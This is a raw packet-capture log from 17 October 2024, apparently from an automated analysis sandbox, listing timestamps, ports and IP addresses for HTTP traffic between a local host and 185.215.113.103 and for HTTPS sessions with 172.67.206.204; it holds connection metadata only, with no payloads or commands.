Oct 17, 2024 18:40:31.997490883 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.997605085 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.997617960 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.997762918 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.997775078 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.000338078 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.281267881 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.281369925 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.281407118 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.281462908 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.281516075 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.281531096 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.281550884 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.281583071 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.281599998 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.281620026 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.281620026 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.281636000 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.281666040 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.281698942 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.281721115 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.281805992 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.281841993 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.281857014 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.281887054 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.281896114 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.281934977 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.281938076 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.281975985 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.281987906 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.282008886 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.282038927 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.282051086 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.282057047 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.282113075 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.298249960 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.298326969 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.298485041 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.298501015 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.298532963 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.298547029 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.300555944 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.300601006 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.300615072 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.300616980 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.300641060 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.300664902 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.329328060 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.329687119 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.329724073 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.329793930 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.333645105 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.419209003 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.419228077 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.419240952 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.421314001 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.421374083 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.421387911 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.434670925 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.450109959 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.450148106 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.450182915 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.454932928 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.540194988 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.540235996 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.555946112 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.574601889 CEST	443	50055	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:32.574723005 CEST	50055	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:32.577084064 CEST	50055	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:32.577095032 CEST	443	50055	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:32.577341080 CEST	443	50055	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:32.578651905 CEST	50055	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:32.578670025 CEST	50055	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:32.578722000 CEST	443	50055	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:32.691555023 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.691642046 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.691654921 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.691719055 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.694742918 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.694802046 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.694817066 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.694854021 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.694919109 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.694956064 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.694964886 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.695004940 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.695050955 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.695085049 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.695097923 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.695122004 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.695131063 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.695152998 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.695178986 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.695200920 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.710398912 CEST	443	50055	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:32.710442066 CEST	443	50055	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:32.710632086 CEST	50055	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:32.710650921 CEST	443	50055	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:32.714914083 CEST	443	50055	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:32.714993954 CEST	50055	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:32.715014935 CEST	443	50055	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:32.715228081 CEST	50055	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:32.715363979 CEST	50055	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:32.715398073 CEST	443	50055	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:32.715415001 CEST	50055	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:32.715420961 CEST	443	50055	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:32.783677101 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.783710003 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.783745050 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.785177946 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.788470030 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.788527966 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.812699080 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.812740088 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.815188885 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.815344095 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.818347931 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.819276094 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.918128967 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.918169975 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.919487953 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:32.935569048 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.935626984 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.935661077 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.935739994 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.935775042 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:32.939776897 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.056888103 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.056910992 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.056938887 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.056941032 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.056956053 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.056962967 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.056983948 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.056991100 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.057017088 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.057033062 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.057039022 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.057079077 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.057157040 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.057171106 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.057200909 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.057225943 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.057243109 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.057264090 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.057296991 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.057316065 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.177788019 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.177824974 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.177843094 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.177877903 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.177894115 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.177932024 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.177992105 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.178003073 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.178056002 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.220701933 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.220725060 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.220743895 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.220762014 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.220777988 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.220823050 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.298049927 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.298086882 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.298104048 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.298216105 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.298230886 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.303370953 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.341262102 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.341310024 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.341324091 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.341339111 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.341409922 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.341409922 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.341409922 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.418699026 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.418734074 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.418762922 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.418780088 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.418800116 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.418819904 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.418819904 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.418819904 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.418857098 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.418908119 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.418908119 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.418908119 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.463294029 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.463320017 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.463336945 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.463356972 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.463725090 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.538928986 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.538952112 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.545286894 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.691603899 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.691637039 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.691653013 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.691781044 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.691796064 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.691812038 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.691831112 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.691838980 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.691839933 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.691839933 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.692034960 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.692090034 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.692090034 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.692090034 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.692122936 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.692140102 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.692688942 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.692688942 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.704046965 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.704068899 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.705480099 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.782862902 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.782902002 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.782921076 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.787872076 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.811779976 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.811803102 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.828288078 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.869601965 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.869652033 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.869702101 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.869702101 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.917332888 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.917377949 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.917398930 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.929435015 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:33.988665104 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.988708019 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.988724947 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:33.990078926 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:34.037986040 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.038012028 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.038031101 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.038048983 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.039140940 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:34.109968901 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.110027075 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.110045910 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.110847950 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:34.110847950 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:34.158416986 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.158461094 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.158477068 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.158515930 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:34.158515930 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:34.158596992 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.158616066 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.158659935 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:34.158659935 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:34.158659935 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:34.230581045 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.230601072 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.230618000 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.230673075 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:34.230673075 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:34.279800892 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.279823065 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.279840946 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.279901028 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.280111074 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:34.280112028 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:34.335336924 CEST	50056	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:34.335403919 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:34.341984034 CEST	50056	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:34.342541933 CEST	50056	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:34.342556000 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:34.500061989 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.500221014 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:34.816529036 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:40:34.821482897 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:40:34.936024904 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:34.940675974 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:40:34.941005945 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:34.945624113 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:40:34.971771002 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:34.971807003 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:34.971961975 CEST	50056	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:34.973607063 CEST	50056	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:34.973633051 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:34.973907948 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:34.975152016 CEST	50056	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:34.975181103 CEST	50056	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:34.975234032 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.645843983 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.645903111 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.645963907 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.645998001 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.646061897 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.646096945 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.646378994 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.646456003 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.646532059 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.651599884 CEST	50056	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:35.651599884 CEST	50056	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:35.651633024 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.652077913 CEST	50056	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:35.766870022 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.766932011 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.766962051 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.767082930 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.779402018 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.781042099 CEST	50056	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:35.781563044 CEST	50056	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:35.781583071 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.781595945 CEST	50056	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:35.781601906 CEST	443	50056	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.795612097 CEST	50057	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:35.795669079 CEST	443	50057	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.795994043 CEST	50057	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:35.796257019 CEST	50057	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:35.796277046 CEST	443	50057	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:35.799952030 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:35.800007105 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:36.428312063 CEST	443	50057	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:36.430085897 CEST	50057	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:36.431905031 CEST	50057	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:36.431921959 CEST	443	50057	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:36.432182074 CEST	443	50057	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:36.433418989 CEST	50057	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:36.433569908 CEST	50057	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:36.433602095 CEST	443	50057	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:37.048799992 CEST	443	50057	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:37.048907995 CEST	443	50057	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:37.049078941 CEST	50057	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:37.054469109 CEST	50057	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:37.071252108 CEST	50058	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:37.071322918 CEST	443	50058	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:37.074533939 CEST	50058	443	192.168.2.7	172.67.206.204
